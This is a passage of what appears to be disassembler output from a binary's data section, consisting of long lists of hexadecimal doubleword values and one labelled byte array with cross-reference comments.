		dd 0F0AB536Dh, 483F019Ah, 3D3FE634h, 9273A92h, 60800B24h
		dd 17B887D1h, 28795E00h, 0F1193E30h, 0BB490353h, 41507156h
		dd 82C892E0h, 9AAFE10Ah, 0D00B20Bh, 0EBC1E991h,	0F6E30413h
		dd 8162AB3Dh, 6A4DEFD8h, 3461F780h, 0E7953CBAh,	0D89C5A1Eh
		dd 60CB08Ch, 0A28FAE01h, 0BBE0654Eh, 0F923E0h, 8137C46Dh
		dd 58895101h, 82491B01h, 324B7A39h, 768D260h, 0E420295Fh
		dd 80416510h, 5A7EA662h, 83658004h, 60A0C0FBh, 930086D3h
		dd 60987C36h, 0F9E806h,	0F40CEF6Ch, 0FD66BAB0h,	7893C03h
		dd 80A56E3Dh, 5A2148h, 8ADF7091h, 18FAE3CDh, 6136E801h
		dd 68AE29EBh, 0D8673301h, 0ABF8201Fh, 0F3D1DC00h, 35E05078h
		dd 0D42F0006h, 7616CC42h, 70066F9h, 8D7E8267h, 591862Dh
		dd 0D9EBD127h, 0B798C113h, 4128F8C8h, 1E2D11D4h, 9C809A59h
		dd 4561421Dh, 0B49800B8h, 381BAFBDh, 135E5564h,	0E47CDC03h
		dd 0C02E07AAh, 8066D523h, 0C9DAA660h, 0E37FC203h, 9E2DB26Fh
		dd 781700C0h, 0CEFCB71Bh, 1E00D608h, 0D4E5413Eh, 26CB8DEFh
		dd 0DB94CCh, 7D40A21Fh,	2004429Bh, 9577737Bh, 0F01554C3h
		dd 9EB2D8h, 2A01ACC6h, 0A73EF869h, 0BCD72900h, 0DE57612Fh
		dd 0D29500A0h, 0E8CB9663h, 39380E60h, 0F6AD00E3h, 0DC1E9F79h
		dd 0EA18C0A7h, 7B4821F4h, 2390DA00h, 3AB65082h,	1AB900C7h
		dd 0F371892Eh, 6D51D129h, 0F07E31F9h, 57009005h, 1FFF6BDh
		dd 3C3A7FFDh, 91005E5Fh, 71F4B0B4h, 89002543h, 615DE935h
		dd 780982h, 8F702360h, 0A6A79224h, 0C00DCB1Dh, 4C1A39C0h
		dd 3BE285Dh, 8905F29Dh,	80F48DD3h, 0D6366A54h, 0B1F9241Eh
		dd 0B77754h, 512D4521h,	0CE64D2h, 8403FEB2h, 397125DAh
		dd 24A2FC00h, 0D53AAD1Ch, 0B2C0090h, 0B9D1C930h, 70E09407h
		dd 9A3FA500h, 315CADF4h, 818C00DCh, 0CEA86B6Fh,	3D009EFFh
		dd 2A18DB26h, 5F1BA3h, 89B8EE19h, 95E64356h, 54E3CE0Fh
		dd 580E9D4Ch, 0EB4940F6h, 0FD634AAh, 5DAD660Dh,	0B800B7EBh
		dd 80E222FEh, 0D5E44E00h, 2BED9B33h, 0B9BF0788h, 0C07FC6A5h
		dd 0A48F203h, 7DCE9F1Eh, 0FC944B40h, 54E883h, 2F6C67ACh
		dd 843847Eh, 1560E00h, 0CF74A0F8h, 0B4E60B15h, 0AC80FA46h
		dd 98764EF7h, 2700B9E8h, 8640B37Eh, 1C4B2EE9h, 1C52D9C6h
		dd 0C0B24031h, 0EBD53D3h, 0A0AF19C0h, 0C5415h, 453003A4h
		dd 47DCD6D1h, 86E21E18h, 3B10A871h, 0D7807D3Fh,	2DB02C6Eh
		dd 0F700AB32h, 3BC9D23Ch, 0A0C57FAAh, 0C0EA71E6h, 24E72C82h
		dd 809E8879h, 0E033B712h, 0F51BD3E8h, 3231C0AFh, 100F2671h
		dd 605DF115h, 51EDE1BFh, 0A08A0074h, 0ADD483D2h, 13EC38D8h
		dd 8047C725h, 4AE78168h, 25F01E26h, 536E405Ch, 4F0AD74Eh
		dd 35E2B400h, 0C41A9ED1h, 9AB126E7h, 3DCE83E0h,	0FB98BDDEh
		dd 0F2016846h, 0BFD37033h, 0E82076C0h, 30F1586Bh, 8C5F6C80h
		dd 9E2C9F56h, 2C006C99h, 0C75D3C2Ah, 1D394EDDh,	2EF980D4h
		dd 6D1E54A2h, 36AED300h
		dd 99B4427Dh, 0FE6600A9h, 3A16ABE5h, 15000A88h,	63E1261Bh
		dd 18BF18Eh, 5BD26717h,	57230298h, 5C28BCF4h, 0B50C9C00h
		dd 92DB62A6h, 0B9AB0F84h, 0CEE0E9A1h, 49A01069h, 21DC2A00h
		dd 617320D8h, 40C0067h,	317AD984h, 0E3001624h, 0C9EBB72Bh
		dd 55C831Eh, 1B99AACEh,	0C538D177h, 1DABC8D0h, 107B3200h
		dd 0F846FAD9h, 0F9490312h, 0B57C3464h, 2069AEF1h, 0BA3CD1B4h
		dd 571000DBh, 10BE956h,	21E30737h, 571FB06Fh, 13CE7169h
		dd 352CCCADh, 808B5500h, 6496BF84h, 4B8F09E1h, 814ACC0h
		dd 0AF88A205h, 0F802D1D2h, 0C03BAAD0h, 13292260h, 0C016601Ch
		dd 0ACB4674h, 64511218h, 48D58F10h, 0F107F02Eh,	0C0DA4C2Ah
		dd 6EA983D8h, 99C7BB1Dh, 680B28E4h, 7C586039h, 0D5BD0BB7h
		dd 3840A75Bh, 2600A220h, 0DBFF8271h, 5C7262B3h,	46000878h
		dd 0D6430F4Bh, 0F03B17DAh, 0F8A389B1h, 4684FF8Ch, 0D9E0C8CEh
		dd 79001CFCh, 0CFFC47C5h, 0E423E3h, 97D716B0h, 0C11017C7h
		dd 25E6A86Fh, 4080B258h, 0FC66E3h, 0E6C9A306h, 7F7B4297h
		dd 0AA206000h, 43D9A531h, 16F418h, 0D84B66DAh, 1193EB50h
		dd 0FF49987Bh, 883801B0h, 8529B19Fh, 18B830h, 73DFF8A1h
		dd 7B7ED799h, 0ECBBD61Dh, 51E1080h, 0A89F3Fh, 3274F166h
		dd 0EEF970ADh, 0ACB24E00h, 0ABAFDC10h, 0D76E00A0h, 0B1609B53h
		dd 4501BF5Ah, 0E44FF911h, 0C20355Dh, 4D6A0071h,	208A29DDh
		dd 3E5856FBh, 16E9011Ch, 0B665DC85h, 7D0730h, 0C9218FA5h
		dd 45F722B0h, 0A71739h,	14EB4F4h, 7D83707h, 0C843DE1Fh
		dd 6A232379h, 0A63EFEB8h, 0F18A9700h, 0D0CEAA08h, 0DD530EEAh
		dd 0E660AB48h, 9F448C86h, 0D521D607h, 5520B074h, 1BF8F5h
		dd 0C22A4025h, 72FD5762h, 0E4BFA900h, 6A991C52h, 9670009Dh
		dd 8E6D1F5Ch, 5600CCC5h, 8BF6534h, 0B6475BE1h, 292A00DCh
		dd 6B8F9503h, 0E6DA1000h, 0EBA01A85h, 0F5718Bh,	33ED1F6Ch
		dd 59E24A0Dh, 5524D709h, 0B8F300B5h, 0B75477h, 4C0152D5h
		dd 0A9223168h, 0C6E8EB00h, 7CDF1BD1h, 823D0010h, 65EF85D9h
		dd 7513FBF3h, 6B005732h, 2A02B30Eh, 82F60995h, 4522559h
		dd 288A1B07h, 69D077F8h, 587E0444h, 0CA078CC3h,	0C378C949h
		dd 83E7CD2Fh, 1131A2E4h, 0A822035h, 55E0FFE5h, 1C38F404h
		dd 5F6B1363h, 0A100FA61h, 0A0ADF89Eh, 0B9034A0Ah, 1F09316Ah
		dd 80DBA843h, 9D7D00B1h, 59EC2B3h, 9C0046C3h, 0F9EAFFA5h
		dd 6CC5C7ACh, 0E5806164h, 0FC0F290Eh, 0FD6720BEh, 61D69048h
		dd 0A82231A4h, 0CC64424Bh, 821E6D07h, 80BC6B60h, 56AE7A14h
		dd 5288002Eh, 8D469751h, 604CE15Dh, 0E06F0376h,	0E8321F69h
		dd 0BD990B6h, 8616489Eh, 0EAA52980h, 0C706C117h, 43BE7CB5h
		dd 4A640071h, 8B38BB3Eh, 0B8E633B3h, 0DDE15100h, 8CD849CBh
		dd 0D9D001DAh, 0A3D7BA6Bh, 998898E9h, 1C7790h, 5DD0D2F4h
		dd 0A7689612h, 592EE100h, 50E3CADBh, 42CF0677h,	30725A6Bh
		dd 8725F100h, 0DA2D65AEh, 18450023h, 41F67D02h,	0C30011B9h
		dd 4E324B6Dh, 0F954603Bh, 67AA6880h, 332BA2D4h,	92F09300h
		dd 9C5C0CEh, 0D4901ECh,	97786E0Bh, 59F1209Dh, 0FBF0EA02h
		dd 80EF7B12h, 45580A74h, 5A6201CBh, 4937A13Bh, 805DDDC6h
		dd 0C2B56578h, 7CE843h,	0C85239FCh, 63EA8EA4h, 0E7781700h
		dd 0F588F94Bh, 0FA88A00Ah, 48F80037h, 90EFAE83h, 230021A7h
		dd 1FEB9613h, 7C9A4B58h, 0E04A01B8h, 2FC35CF9h,	5FAC607Ch
		dd 77587EDDh, 0A0B320h,	0C3235EA5h, 0B652983Dh,	7B731000h
		dd 0F6A87C29h, 0A7F0C47h, 0C9285AC4h, 0EEA7F706h, 80117662h
		dd 7E277B8h, 0E60AC2FBh, 0B081CC3h, 0D58121C0h,	125CA3h
		dd 4F2226F0h, 5ACFDBB3h, 21331018h, 0C49BF98h, 3266EA38h
		dd 0E2005269h, 6C4E8199h, 3D1E0976h, 58082EEh, 0C40D80A8h
		dd 597804A0h, 10B37430h, 60F1705Dh, 0C7AD501Ch,	0E500DFD3h
		dd 7EA541CAh, 0E0402ACh, 81169439h, 82FE8481h, 0D02181D7h
		dd 0CCE102F4h, 0B2DB840h, 7F15001Eh, 9513CA37h,	5C00EDE5h
		dd 677E2516h, 3680C62h,	0C314FA79h, 5A8BF85h, 0FC00B6C7h
		dd 4AC452B9h, 0E226529h, 0D6672401h, 0C64C23E3h, 0CF4BB9E8h
		dd 88CBDF00h, 9BBB44FAh, 36BD006Dh, 2125A843h, 0FEACC1Ch
		dd 0B11CB04h, 3180C909h, 8E3312h, 80C4325Ch, 75E115E7h
		dd 926D0300h, 77090CC1h, 28D36163h, 1E3230h, 80E26883h
		dd 938943E6h, 3B44A408h, 5328A00Fh, 5CCF8876h, 8835F988h
		dd 29CA16CBh, 6B1028B8h, 4C2E6584h, 502997h, 647B3F25h
		dd 0D74EF356h, 769EC500h, 80D1E89Ah, 971A00C0h,	2126B838h
		dd 3C1E8657h, 0BBCFAF7Fh, 7D2B23A4h, 0A197E06Fh, 18FF0BFh
		dd 718DAB23h, 20CB290Ch, 0CC006FEFh, 9A2C73A0h,	1D117E3h
		dd 6D911693h, 0B3DC5ECAh, 0E8872072h, 728C52h, 0FF7EE032h
		dd 8A9603D3h, 0ADFA86FAh, 959CD400h, 6FBF7355h,	28EB00FDh
		dd 0F9719813h, 0F1988858h, 62E2180Eh, 820A603Fh, 5F0CEA7h
		dd 3D417437h, 18A00F61h, 2EF60440h, 67605BE7h, 3DE8BEF0h
		dd 654C00B4h, 0E01789F4h, 0B000F82h, 1D608C12h,	302445Fh
		dd 0C7203FF8h, 3590D98Bh, 0AEFC8A32h, 0C0B46000h, 792D400Bh
		dd 517500B6h, 90B08FD1h, 1E1DC26Eh, 18004D96h, 0DCFFA9CDh
		dd 9F11D26h, 17BC80F3h,	8453CE3Dh, 11DD0801h, 0CAB33B81h
		dd 83FC3021h, 26EC03F7h, 0D1F1D37Bh, 35D80EF8h,	89019B00h
		dd 8E8F7431h, 1ECB00A2h, 76B1CD7h, 0C8006F0Fh, 94136159h
		dd 7A5E0Ch, 0D09D7455h,	0BB960D6Bh, 0B1FC7B00h,	0C2DE50FBh
		dd 91C30019h, 8A830C35h, 0B400CDD1h, 0E05C2F71h, 78D7C1h
		dd 0DCE62342h, 0FCA9F622h, 5F145300h, 8F3CDF6Fh, 58EB00DAh
		dd 46678972h, 1C009F26h, 0FC34DEACh, 0C0F5B090h, 445B0AE8h
		dd 1E002053h, 34069428h, 0A3230Bh, 0AA2EA1F4h, 72243E80h
		dd 0E2827600h, 0EFF15D1Ch, 6F8B0235h, 634E754Bh, 0BDABE4E0h
		dd 867B251Eh, 0E657EB02h, 4ED88053h, 172F2F4h, 7C7E0981h
		dd 0F84BEE93h, 0DB0180D4h, 0AD87B002h, 7A8147E1h, 0E3B71373h
		dd 5F2FD0C4h, 3258150Ah, 180C980Eh, 51A45Ah, 2ED9DE2Bh
		dd 891FBB0Bh, 111DDFE6h, 0AF80EC38h, 5D17F340h,	0C74BCCh
		dd 0E15B78F9h, 0E330D13Dh, 2DA42E1Bh, 26620398h, 0A5E6166Ah
		dd 0C3AB1007h, 5070D5CDh, 103BFDCh, 810531F6h, 20C22355h
		dd 0B700FE00h, 54102DF7h, 67C9BDh, 0A2AC0CCCh, 0D25934C0h
		dd 0E88DC501h, 0B44753Fh, 7769F0h, 74AF94FAh, 161746E5h
		dd 0A8FD9203h, 0D8321139h, 6A5102h, 33787DA1h, 46944E58h
		dd 0BC950F04h, 6080C9B9h, 0F1FF1Bh, 0C25F3FB5h,	2665F98Bh
		dd 0D35B7200h, 2199394Bh, 2E79007Eh, 4E610869h,	7DF0537Bh
		dd 0A8001072h, 6290155Dh, 3FF45E4h, 0A3CB1211h,	2EB0A1ECh
		dd 0BC0072FDh, 5A800B03h, 9050EF8Fh, 8BA80020h,	52CC77D0h
		dd 0DCA0A311h, 0E500DE9Dh, 95548EF3h, 43E2A36h,	0D21850BFh
		dd 9AC1FF5Dh, 32F84FC7h, 3A700929h, 0F5F0FD03h,	8713B800h
		dd 634BDCB1h, 83AC0075h, 0EA9D4A59h, 0B9F25464h, 35A62A00h
		dd 248C6851h, 0FB748Bh,	0DC13C0CCh, 0D6F7FA0Eh,	5F67138h
		dd 0E74F262Fh, 0C5C69000h, 31CAF9Fh, 0DA94A36Ah, 4DC9627Fh
		dd 7B2080CCh, 7C81DDD9h, 6B5A0010h, 489B2A51h, 3F123A98h
		dd 8800DFAAh, 6F527B11h, 0F406033Dh, 0E9D2ABB4h, 0DEB071E3h
		dd 57000E1Ah, 0C88CB87Ch
		dd 1F73DDA9h, 0C2B639E5h, 0F9601D6Eh, 0F8E28061h, 771DCAA0h
		dd 0DFC0FC43h, 9514C375h, 0A3BA0015h, 5802D4B1h, 0B30092CBh
		dd 94663A35h, 2FA482h, 1CE446DCh, 2E0362F5h, 0AF4BC800h
		dd 9CDBFB12h, 0C5BD008Ah, 311E681Fh, 0AECAD3Ch,	0FB60203h
		dd 0A59C8C2Fh, 8F8666C1h, 459BDBh, 9885B780h, 0DD063FFEh
		dd 0DA68CF00h, 7A82920Eh, 1F5700BEh, 88E480DFh,	7900C7EFh
		dd 47876EE6h, 0EF4E3CCh, 0FB502268h, 36443C0h, 3D0075A3h
		dd 0AE53CA3Eh, 1E8EDD36h, 0C722DF69h, 0E71A5FA7h, 0C6F96008h
		dd 4D7F73F7h, 82D9D500h, 0B5AD8807h, 1190095h, 0A4FB8490h
		dd 0EF07E063h, 0FF660355h, 0BF92C900h, 0ED5718Ah, 0DBCB1046h
		dd 0D8D27800h, 62C59C2h, 4500932Bh, 55A0298Ah, 0B10207A6h
		dd 800E0194h, 0AA4F773Eh, 46B23D00h, 0ADDD9E75h, 3B670321h
		dd 0B549EA83h, 0A8642ED8h, 0E4F80B02h, 8413ABDAh, 8C80F29Ch
		dd 0F036DF37h, 870500E9h, 39809693h, 0A500823Eh, 9D0CCEDDh
		dd 704A9CD2h, 10A2046Ah, 0C06DCBFBh, 611E7EC8h,	362F8500h
		dd 1102482Dh, 90DDE67Ch, 7AEB008Ch, 4D1F612Eh, 4B7CE970h
		dd 15AE6500h, 0CD85EEB4h, 1B002D1h, 4E1748C9h, 67632460h
		dd 21860700h, 0BD817BACh, 0C18AB8BBh, 601FED28h, 5BF5F8AAh
		dd 0E7718A01h, 0F8A2DC83h, 0BE17ECh, 0ECD725F2h, 884C4E11h
		dd 76C7A600h, 77935BEEh, 0C37CFCh, 5425CE32h, 0FBD1192Ah
		dd 63A8B200h, 0A680717h, 7CA300BBh, 33468C60h, 0A000831Fh
		dd 0BAD27420h, 0FDFFC6h, 27031A09h, 7F113035h, 1B454200h
		dd 0C98A65BEh, 0C84F5CDFh, 0CB448800h, 1611EFFEh, 65E63E00h
		dd 73CDEB23h, 0DF7A00D1h, 0D2E826AAh, 0F40F22DBh, 600AFDBCh
		dd 825D24E4h, 486100AEh, 0FC31AB9Ch, 49008FF3h,	0CC9E0252h
		dd 9A21C6DAh, 0B35100F0h, 0F156E5FEh, 8E092E1Eh, 8BC14Ah
		dd 36A128F0h, 0C83D0083h, 6A4EAB6Dh, 0EA00BD3Eh, 0AC3C153Fh
		dd 30489502h, 5F30FEB4h, 1E01C5C7h, 0A4F426FBh,	3F45066h
		dd 0B1810B3Ch, 9400AA40h, 0EB9F7942h, 0D365EE01h, 0A6B68F2Dh
		dd 1069A8CBh, 1FF3956h,	1E535E00h, 9ADF64B2h, 0CB4EA600h
		dd 3AB6F38Eh, 9DED304Fh, 0B0A10B21h, 115A8C31h,	0C6F062A3h
		dd 1DA40984h, 0C806BB3h, 0FA05190Ah, 792010C1h,	80F77A41h
		dd 0D2D7D6h, 0CEE2571Dh, 0F9F72407h, 6C0C48h, 857C846Bh
		dd 79FB08FDh, 368FE7Bh,	0F8077073h, 46802802h, 93005EA9h
		dd 0A11358D7h, 0E486B248h, 0BD90A03Bh, 388F988Eh, 0CE1F839Bh
		dd 32B3C0DFh, 0F8ED81A2h, 0D7082400h, 35461C2Eh, 0FF6900A1h
		dd 5F2647D9h, 1760A02Bh, 0C0F6207Eh, 0E3570084h, 0F2024CC3h
		dd 35192C98h, 0BA50B942h, 71DDFD8h, 5EC8A5F6h, 0B7DDA0B6h
		dd 0BC00160Ch, 4F8D963h, 25E6A6h, 40CF6AB5h, 0EF42829Dh
		dd 81DE5E00h, 8D65D335h, 0A644004Fh, 450B2E4h, 0D001C60Ch
		dd 3D2CC867h, 20ECA88Fh, 363E0135h, 0EC56F67Eh,	71C1FC60h
		dd 329B1F0Eh, 0EF3547F5h, 0A6D76BE0h, 91A90192h, 7D6144C4h
		dd 18DAC472h, 0CD638400h, 0FB113B97h, 0E42A00EAh, 61F664D9h
		dd 0C0003374h, 7532862Eh, 704A990Ah, 2A73A5h, 499AA3A2h
		dd 712F6908h, 66B76000h, 8E32C492h, 63D10341h, 97DC4D34h
		dd 520031BEh, 744CC01Bh, 35718Fh, 9958935Ah, 0E3F3C6DEh
		dd 0C1DD901h, 0C31419F1h, 603ED4h, 0D6C21EA1h, 76EED59Fh
		dd 0D28F660h, 1EA35AD1h, 4F777CDCh, 19406E63h, 9C2EB4C5h
		dd 0A2A79300h, 52BCA1E7h, 0CB9B004Dh, 84105CB5h, 5E1C9CBAh
		dd 8BC7DB73h, 8D037C0h,	3017EB6h, 44846C77h, 80841C74h
		dd 76A0CC0Ch, 801E5A2Ch, 1B3E3C02h, 0B1840E3h, 37BB006Bh
		dd 53CF0693h, 0E500EB62h, 40D9FE94h, 6020B243h,	0DDB9115Eh
		dd 88039C03h, 18E57A3h,	6E0BA9A6h, 0F5E32F4h, 52FA22F0h
		dd 17537C62h, 46C7EC80h, 4900567Ah, 717081F4h, 2838668Dh
		dd 741488h, 65C4A38Eh, 4DBF6BD2h, 7EA8BA00h, 36DEA5F8h
		dd 28ED0092h, 75A064B4h, 0AE0043CEh, 0DCCD138Ch, 260BCF2Bh
		dd 3186B6h, 1D3176C5h, 0A2008749h, 0AED683E4h, 8CADA7h
		dd 0CEBEC43Ch, 6A2B9821h, 0A57452C0h, 7F8E9h, 0B6374C5Fh
		dd 7C76BEC0h, 7DEB3Ch, 84DF39BDh, 1D8558h, 0E311F8A5h
		dd 0AC93DB7h, 41E2EE0Fh, 994403C1h, 0A7F1007Ah,	90AF6E3Bh
		dd 9C174292h, 0F7005BEDh, 6188A991h, 32673DE1h,	86B0DF0Eh
		dd 59446CC0h, 31015F4Ch, 0AE8A3D2Bh, 37E82CD1h,	0DEE285h
		dd 0A253243Ah, 84BE8EB3h, 0A65AE90Eh, 0EE80FFAFh, 4C25C4C6h
		dd 683E00FFh, 577F0DD5h, 0EB0CFD31h, 2094D203h,	0E97D008Fh
		dd 0A88513E4h, 7E0F125Ch, 0E0CAAD57h, 691AEC09h, 0EAAB0075h
		dd 3EF673EFh, 0A8A38C2Dh, 16A6BEA8h, 0DE0AC800h, 0AB5EF0AFh
		dd 0D570012Fh, 0EC4E8936h, 0B4DB2078h, 0A7553200h, 0FED3CD3Ah
		dd 0E7F9006Bh, 10308040h, 0AD096075h, 19FC13Dh,	4CED4D8Dh
		dd 0E2D9C0h, 9EC9906Ch,	0C59A9B82h, 6A2FCE00h, 0BA3F5476h
		dd 64581F25h, 18928785h, 4EE61070h, 4B25197Fh, 39C7F0C3h
		dd 42805DEDh, 99EAAC64h, 39004633h, 405A9714h, 16B4C1ABh
		dd 0F0BC9F2h, 5240F4D2h, 0C8B2A408h, 0D303C50Ah, 8500E4DAh
		dd 0D7B9391Fh, 6FB11BE0h, 0A5B81073h, 7005DEEh,	0F22FFBCBh
		dd 1EB0B10h, 8D9F71BBh,	0D01E0D02h, 92006CF9h, 26BF87B4h
		dd 0D4E7B6h, 938CB144h,	0B0613345h, 66F3E500h, 3AA34B89h
		dd 0E987005Ch, 51C2CC6Bh, 0BA00590Ah, 0A74E3404h, 0B353CBh
		dd 6EE50EA6h, 0BEA1489Ah, 0D4B14900h, 946163E4h, 72D300B2h
		dd 552C8752h, 8D095CE9h, 8353CC34h, 0E07B0D48h,	9C9A5Ah
		dd 0E238890Fh, 2EFE1CF5h, 8BD89000h, 4DB38EB8h,	0B71E011Bh
		dd 7D32BF43h, 0AC1FF0D4h, 6F1C3A7Dh, 0DC805868h, 62DF24C2h
		dd 0EAED2C3Fh, 80762815h, 4EEFEDh, 0EBD8A9B5h, 73EE1E88h
		dd 96030F7Ch, 0CFC6998h, 824B9858h, 0F8AE0035h,	9A158652h
		dd 0E218033Eh, 0D4200F6Bh, 0D79C1Fh, 0B165DB8h,	20FF318Bh
		dd 660705F4h, 9089AEFCh, 0ACEE2F50h, 70680094h,	0B0F75865h
		dd 88FE9A75h, 981920C0h, 3393129h, 74D78BC4h, 14B0AEF8h
		dd 2205673Ah, 0C373EB05h, 0AF5646C0h, 0B6EF3CAAh, 51B47E00h
		dd 80010E91h, 507FC038h, 3F01E896h, 21C5A1FDh, 0AEE45464h
		dd 0CE240AD2h, 1DE44E82h, 6A3000BCh, 5BC777CAh,	0BBABE900h
		dd 0AA21C084h, 8E7D00F5h, 0A393AD66h, 0CF079EBFh, 93C6D81h
		dd 0EEF69B70h, 9CB40F86h, 452E553Eh, 0E3F50B27h, 60392D0h
		dd 430949DAh, 0CE46D868h, 0FB550036h, 9374167Dh, 0FE00077Ch
		dd 12EAA29h, 0BDEA924h,	0AF40611Ah, 178EB500h, 0A300D592h
		dd 0BB98EF65h, 70DC375h, 5CFBFEB5h, 0FDD3510Bh,	0D4AC2067h
		dd 60001ADEh, 0DDB0900Ah, 7C6E049Ah, 802E1B1Eh,	0F94A6B5Ch
		dd 3158BE1Ch, 22D13440h, 0FE870836h, 4D328B3h, 0C87D03E8h
		dd 0ED2AC167h, 60ACF0D8h, 161EEF01h, 668B083Bh,	2107D23Ch
		dd 0F0FED5BAh, 31188CF4h, 63A02216h, 3259A600h,	1B4D4F0h
		dd 62924FE7h, 251D6FC1h, 0F0BC2114h, 0F0009DDBh, 0D6F50FEBh
		dd 7D4954A8h, 0AF2C1F90h, 302940C9h, 48F44B4Dh,	0B0000E7Eh
		dd 4017BDBBh, 906860B5h, 39F000C3h, 624512C2h, 0DA002213h
		dd 0EA8D05AFh, 76F4415Eh, 3EACE490h, 990FBC96h,	7365B2DAh
		dd 0FD18C342h, 0FFEEB0B7h, 610E0E49h, 0A378ED72h, 883A4C0Bh
		dd 7A0D3CA6h, 73D407C3h
		dd 0F7FDF103h, 0C88AC0E6h, 75001DDAh, 0AA26FE59h, 121B8591h
		dd 21D262h, 0E9330941h,	2F00DAEAh, 9E1A0627h, 0D6C460h
		dd 55F7C5B8h, 0CF8CB659h, 11F82230h, 8EB43h, 0A32992EAh
		dd 0BFDF1D4Eh, 1C1ED60Fh, 67C0C0EDh, 0E59D31CDh, 0E4A441E0h
		dd 0F973018Ch, 335851FDh, 0D834311Eh, 0CE000152h, 83A0D85Bh
		dd 1AE9E09Ch, 99DC5035h, 0CBA38C80h, 5E006272h,	8CBD4C9Eh
		dd 3BE583h, 0EDD62DEAh,	0F3E4DB30h, 0DDF8CD01h,	0FAB1BE10h
		dd 417D7F4h, 5AFCDEACh,	0BB54C19Ch, 0B58C344Dh,	1B139401h
		dd 0CAA21F75h, 76899B60h, 55F048E9h, 0A7FF9300h, 0CD7B321h
		dd 1CCFD200h, 0A9299BE5h, 0F48300BCh, 8A4E96F1h, 0FC01ECF6h
		dd 0BF01227Ch, 60814913h, 0F479CA4Dh, 7F709E4Ch, 69AF5880h
		dd 37FB560Bh, 83187D81h, 0C3C4579Bh, 101E4CDCh,	0D11E58B3h
		dd 73A2A886h, 34060E20h, 0E6C9A7E0h, 0F5C0E581h, 3186E844h
		dd 30224D00h, 489A655h,	58B10325h, 4AE2B0B2h, 37508906h
		dd 399555h, 2381BC11h, 45B6E974h, 25DB4B2Ch, 4092850Fh
		dd 12643FB3h, 4C4D1F4Ah, 906D40E0h, 8747E876h, 0E0F92DE4h
		dd 0EC00073Bh, 2F390B22h, 0E615FA9Eh, 0FEE61CF5h, 0F9644051h
		dd 35C1BD49h, 196A6101h, 0DC8C922Ch, 1E1C5870h,	6824C0CDh
		dd 96430084h, 0A1658731h, 6207E332h, 2067F435h,	9EFAC2D0h
		dd 663C00CAh, 0A2C1BF06h, 7F72CD4Fh, 0FE000B7Ah, 9C87ABF0h
		dd 0C3E0A0h, 0A602D98Ch, 0E36E7770h, 43420C00h,	24A5A412h
		dd 93650011h, 947BB4F7h, 87008D2Fh, 995A8A4Dh, 60FFDC17h
		dd 0A2BCF09Dh, 37001AF7h, 4AD00D84h, 48EAE8D8h,	7E00DC11h
		dd 646915C6h, 741BCA49h, 82204654h, 0EB68C0C4h,	23C00CBh
		dd 5952245h, 0A202BE98h, 0FD46A13Fh, 0EA40444Dh, 0C2920340h
		dd 6DE9D976h, 3525006h,	71217Ch, 2E122F25h, 208F7050h
		dd 177348C0h, 0E7774Eh,	237B6AE3h, 8DD07D8h, 0A832A00h
		dd 0FA4F1BFDh, 3B3800A6h, 0F7529FFCh, 330008C6h, 96F5BB85h
		dd 0F1247Bh, 0FC157C78h, 6AEC37FBh, 0DE4FEB00h,	5F2A0A1Bh
		dd 5D7900EDh, 1E774082h, 0F00056DDh, 0F62F9383h, 1D14E87Ah
		dd 8788BF84h, 0E0230BF8h, 40A0E01Ah, 8AA17F00h,	8BCB48C2h
		dd 691400A4h, 75DE6F98h, 960B5CF8h, 4FA4Bh, 0B9036021h
		dd 0C92400F4h, 9341FD37h, 6D98CAA8h, 23838000h,	8C079892h
		dd 9C7734h, 9014F59Dh, 0E6CA8A02h, 12691C07h, 73E02A40h
		dd 255DC6h, 0A491B51Fh,	0B8ACAFD8h, 9E6D7F05h, 3B80401Eh
		dd 0F6EFDFCh, 0EA4C79A2h, 3E192D23h, 269855E0h,	0E7AF730Fh
		dd 0EF1E93C2h, 9EEF68C1h, 0C0CF1FE5h, 0EC571EDh, 0BECE1693h
		dd 4BC697E0h, 0AAA084BFh, 11000729h, 4933E1C3h,	7027E2Bh
		dd 0F4C11631h, 0AA0C1095h, 20037C9Fh, 0A5E7D733h, 0FA1900F7h
		dd 3985C9DDh, 87902D0Fh, 0E21880E5h, 0DBE53FADh, 0DECD7h
		dd 73B96442h, 6621EA10h, 1F18027Ch, 7248C5ADh, 0A9196179h
		dd 0D09A929Ch, 970457D4h, 4CC15285h, 0E04213C3h, 60E565ECh
		dd 0E798487Fh, 0B330E8F2h, 0EE903071h, 64D00B1h, 660F4579h
		dd 4300611Dh, 508B6DF9h, 7E1797h, 909B15F1h, 7DC33AF4h
		dd 2AE610C7h, 3D213321h, 3CF53C0h, 5C5432CDh, 2FB0CBE9h
		dd 6F007F36h, 3AF31B22h, 0A08D08h, 0E8350A14h, 0C83BF8C6h
		dd 9969C41Dh, 0ED831E00h, 0EF2692h, 0E3B08FDAh,	2FB2D84Ch
		dd 62D0800h, 4031B437h,	3C360057h, 1C4997AFh, 7500CB0Dh
		dd 1E7FD320h, 0F7BECAF8h, 936BE4h, 0F9D5C85Ch, 0FE02B6E0h
		dd 4257B401h, 72B17F46h, 3830430h, 0C97733CFh, 0EAB86F79h
		dd 0C1EA13B7h, 0FD3B813h, 0B15DF200h, 2F02BEh, 5396649h
		db 3Bh
byte_520045	db 9Dh,	0B0h, 36h	; DATA XREF: ___:00437A58o
					; ___:00437A70o
		dd 0EC01C2F0h, 0D91D879Eh, 57E84DE4h, 0E66405E1h, 807E1534h
		dd 92DA8C93h, 0B3FD5601h, 3C473975h, 0C3E868D5h, 0BE86397Ch
		dd 9401203Fh, 0B915485Ah, 0A99D6070h, 76601E07h, 0B141852Ch
		dd 0E3F0DB69h, 34390BFAh, 6B5098C4h, 2C7C3Eh, 0FC1D75B4h
		dd 477725h, 8B784CB3h, 7A52A18Ah, 84E8FD05h, 0B0002B5Dh
		dd 0BEBB30C2h, 0B1CA1324h, 0C74C00C0h, 1C0D439Bh, 4038479h
		dd 0A7C1F114h, 0A529114Ch, 426811BFh, 8089421h,	0ADC9884Ah
		dd 8841B288h, 4E880568h, 0AE3D8848h, 902EDB88h,	4941845Ch
		dd 48BAE144h, 0A7045BCh, 1014DA3Ch, 3B0F84D5h, 6304615Ch
		dd 790AC416h, 37C60864h, 84091888h, 4C3CCC2h, 9100BB2Dh
		dd 0B3E4E38Fh, 0F72034Ch, 800E0693h, 0BCFCB77Fh, 65D4005Bh
		dd 3CB5DB18h, 4600A538h, 69089472h, 9676E70h, 444EECDFh
		dd 0B6C09100h, 0A5007E05h, 0AD937372h, 22814Bh,	0C9F8BA7Fh
		dd 0E85631E6h, 6B112600h, 0ADD3BDF7h, 0E3D600D9h, 581DDC96h
